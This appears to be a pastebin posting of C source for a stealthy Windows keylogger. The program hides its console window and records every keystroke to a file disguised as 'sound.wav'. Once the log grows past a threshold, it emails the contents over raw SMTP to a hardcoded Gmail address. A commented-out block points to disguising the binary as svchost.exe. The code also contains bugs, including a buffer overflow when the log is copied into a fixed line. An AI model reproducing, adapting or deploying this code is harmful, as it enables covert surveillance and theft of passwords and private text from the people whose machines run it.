· 7 years ago · Apr 16, 2019, 02:28 PM
1#include <windows.h>
2#include <stdio.h>
3#include <winuser.h>
4#include <windowsx.h>
5#include <time.h>
6int MailIt (char *mailserver, char *emailto, char *emailfrom,
7char *emailsubject, char *emailmessage);
8#define BUFSIZE 800
9#define waittime 500
10/*If you don't know the mail exchange server for an address for the following
11"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
12whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
13IT WILL NOT WORK!!! */
14#define cmailserver "gmail-smtp-in.l.google.com"
15#define cemailto "irong33k@gmail.com"
16#define cemailfrom "irong33k@gmail.com"
17#define LogLength 100
18#define FileName "sound.wav"
19#define SMTPLog "ring.wav"
20#define cemailsubject "Logged"
21
22int test_key(void);
23int main(void)
24{
25 //Uncomment the lines below to put the keylogger in stealh mode.
26 HWND stealth; /*creating stealth */
27 AllocConsole();
28 stealth=FindWindowA("ConsoleWindowClass",NULL);
29 ShowWindow(stealth,0);
30
31 {FILE *file;
32 file=fopen(FileName,"a+");
33 time_t theTime=time(0);
34 fputs("\nStarted logging: ", file);
35 fputs(ctime(&theTime),file);
36 fclose(file);
37 }
38
39 /* if (test==2)
40 {//the path in which the file needs to be
41 char *path="c:\\%windir%\\svchost.exe";
42 create=create_key(path);
43 } */
44
45 int t=get_keys();
46 return t;
47}
48
49int get_keys(void)
50{
51int freadindex;
52char *buf;
53long len;
54FILE *file;
55file=fopen(FileName,"a+");
56
57
58 short character;
59 while(1)
60 {
61 sleep(10);/*to prevent 100% cpu usage*/
62 for(character=8;character<=222;character++)
63 {
64 if(GetAsyncKeyState(character)==-32767)
65 {
66 FILE *file;
67 file=fopen(FileName,"a+");
68 if(file==NULL)
69 {
70 return 1;
71 }
72 if(file!=NULL)
73 {
74 if((character>=39)&&(character<=64))
75 {
76 fputc(character,file);
77 fclose(file);
78 break;
79 }
80 else if((character>64)&&(character<91))
81 {
82 character+=32;
83 fputc(character,file);
84 fclose(file);
85 break;
86 }
87 else
88 {
89 switch(character)
90 {
91 case VK_SPACE:
92 fputc(' ',file);
93 fclose(file);
94 break;
95 case VK_SHIFT:
96 fputs("\r\n[SHIFT]\r\n",file);
97 fclose(file);
98 break;
99 case VK_RETURN:
100 fputs("\r\n[ENTER]\r\n",file);
101 fclose(file);
102 break;
103 case VK_BACK:
104 fputs("\r\n[BACKSPACE]\r\n",file);
105 fclose(file);
106 break;
107 case VK_TAB:
108 fputs("\r\n[TAB]\r\n",file);
109 fclose(file);
110 break;
111 case VK_CONTROL:
112 fputs("\r\n[CTRL]\r\n",file);
113 fclose(file);
114 break;
115 case VK_DELETE:
116 fputs("\r\n[DEL]\r\n",file);
117 fclose(file);
118 break;
119 case VK_OEM_1:
120 fputs("\r\n[;:]\r\n",file);
121 fclose(file);
122 break;
123 case VK_OEM_2:
124 fputs("\r\n[/?]\r\n",file);
125 fclose(file);
126 break;
127 case VK_OEM_3:
128 fputs("\r\n[`~]\r\n",file);
129 fclose(file);
130 break;
131 case VK_OEM_4:
132 fputs("\r\n[ [{ ]\r\n",file);
133 fclose(file);
134 break;
135 case VK_OEM_5:
136 fputs("\r\n[\\|]\r\n",file);
137 fclose(file);
138 break;
139 case VK_OEM_6:
140 fputs("\r\n[ ]} ]\r\n",file);
141 fclose(file);
142 break;
143 case VK_OEM_7:
144 fputs("\r\n['\"]\r\n",file);
145 fclose(file);
146 break;
147 case 187:
148 fputc('+',file);
149 fclose(file);
150 break;
151 case 188:
152 fputc(',',file);
153 fclose(file);
154 break;
155 case 189:
156 fputc('-',file);
157 fclose(file);
158 break;
159 case 190:
160 fputc('.',file);
161 fclose(file);
162 break;
163 case VK_NUMPAD0:
164 fputc('0',file);
165 fclose(file);
166 break;
167 case VK_NUMPAD1:
168 fputc('1',file);
169 fclose(file);
170 break;
171 case VK_NUMPAD2:
172 fputc('2',file);
173 fclose(file);
174 break;
175 case VK_NUMPAD3:
176 fputc('3',file);
177 fclose(file);
178 break;
179 case VK_NUMPAD4:
180 fputc('4',file);
181 fclose(file);
182 break;
183 case VK_NUMPAD5:
184 fputc('5',file);
185 fclose(file);
186 break;
187 case VK_NUMPAD6:
188 fputc('6',file);
189 fclose(file);
190 break;
191 case VK_NUMPAD7:
192 fputc('7',file);
193 fclose(file);
194 break;
195 case VK_NUMPAD8:
196 fputc('8',file);
197 fclose(file);
198 break;
199 case VK_NUMPAD9:
200 fputc('9',file);
201 fclose(file);
202 break;
203 case VK_CAPITAL:
204 fputs("\r\n[CAPS LOCK]\r\n",file);
205 fclose(file);
206 break;
207 default:
208 fclose(file);
209 break;
210 }
211 }
212 }
213 }
214 }
215 FILE *file;
216 file=fopen(FileName,"rb");
217 fseek(file,0,SEEK_END); //go to end
218 len=ftell(file); //get position at end (length)
219 if(len>=LogLength) {
220 fseek(file,0,SEEK_SET);//go to beg.
221 buf=(char *)malloc(len);//malloc buffer
222 freadindex=fread(buf,1,len,file);//read into buffer
223 buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
224 MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
225 fclose(file);
226 file=fopen(FileName,"w");
227 }
228
229 fclose(file);
230 //free (buf);
231
232 }
233 return EXIT_SUCCESS;
234}
235
236int MailIt (char *mailserver, char *emailto, char *emailfrom,
237char *emailsubject, char *emailmessage) {
238 SOCKET sockfd;
239 WSADATA wsaData;
240 FILE *smtpfile;
241
242 #define bufsize 300
243 int bytes_sent; /* Sock FD */
244 int err;
245 struct hostent *host; /* info from gethostbyname */
246 struct sockaddr_in dest_addr; /* Host Address */
247 char line[1000];
248 char *Rec_Buf = (char*) malloc(bufsize+1);
249 smtpfile=fopen(SMTPLog,"a+");
250 if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
251 fputs("WSAStartup failed",smtpfile);
252 WSACleanup();
253 return -1;
254 }
255 if ( (host=gethostbyname(mailserver)) == NULL) {
256 perror("gethostbyname");
257 exit(1);
258 }
259 memset(&dest_addr,0,sizeof(dest_addr));
260 memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
261
262 /* Prepare dest_addr */
263 dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
264 dest_addr.sin_port= htons(25); /* PORT defined above */
265
266 /* Get socket */
267
268 if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
269 perror("socket");
270 exit(1);
271 }
272 /* Connect !*/
273 fputs("Connecting....\n",smtpfile);
274
275 if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
276 perror("connect");
277 exit(1);
278 }
279 sleep(waittime);
280 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
281 fputs(Rec_Buf,smtpfile);
282 strcpy(line,"helo me.somepalace.com\n");
283 fputs(line,smtpfile);
284 bytes_sent=send(sockfd,line,strlen(line),0);
285 sleep(waittime);
286 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
287 fputs(Rec_Buf,smtpfile);
288 strcpy(line,"MAIL FROM:<");
289 strncat(line,emailfrom,strlen(emailfrom));
290 strncat(line,">\n",3);
291 fputs(line,smtpfile);
292 bytes_sent=send(sockfd,line,strlen(line),0);
293 sleep(waittime);
294 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
295 fputs(Rec_Buf,smtpfile);
296 strcpy(line,"RCPT TO:<");
297 strncat(line,emailto,strlen(emailto));
298 strncat(line,">\n",3);
299 fputs(line,smtpfile);
300 bytes_sent=send(sockfd,line,strlen(line),0);
301 sleep(waittime);
302 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
303 fputs(Rec_Buf,smtpfile);
304 strcpy(line,"DATA\n");
305 fputs(line,smtpfile);
306 bytes_sent=send(sockfd,line,strlen(line),0);
307 sleep(waittime);
308 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
309 fputs(Rec_Buf,smtpfile);
310 sleep(waittime);
311 strcpy(line,"To:");
312 strcat(line,emailto);
313 strcat(line,"\n");
314 strcat(line,"From:");
315 strcat(line,emailfrom);
316 strcat(line,"\n");
317 strcat(line,"Subject:");
318 strcat(line,emailsubject);
319 strcat(line,"\n");
320 strcat(line,emailmessage);
321 strcat(line,"\r\n.\r\n");
322 fputs(line,smtpfile);
323 bytes_sent=send(sockfd,line,strlen(line),0);
324 sleep(waittime);
325 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
326 fputs(Rec_Buf,smtpfile);
327 strcpy(line,"quit\n");
328 fputs(line,smtpfile);
329 bytes_sent=send(sockfd,line,strlen(line),0);
330 sleep(waittime);
331 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
332 fputs(Rec_Buf,smtpfile);
333 fclose(smtpfile);
334 #ifdef WIN32
335 closesocket(sockfd);
336 WSACleanup();
337 #else
338 close(sockfd);
339 #endif
340}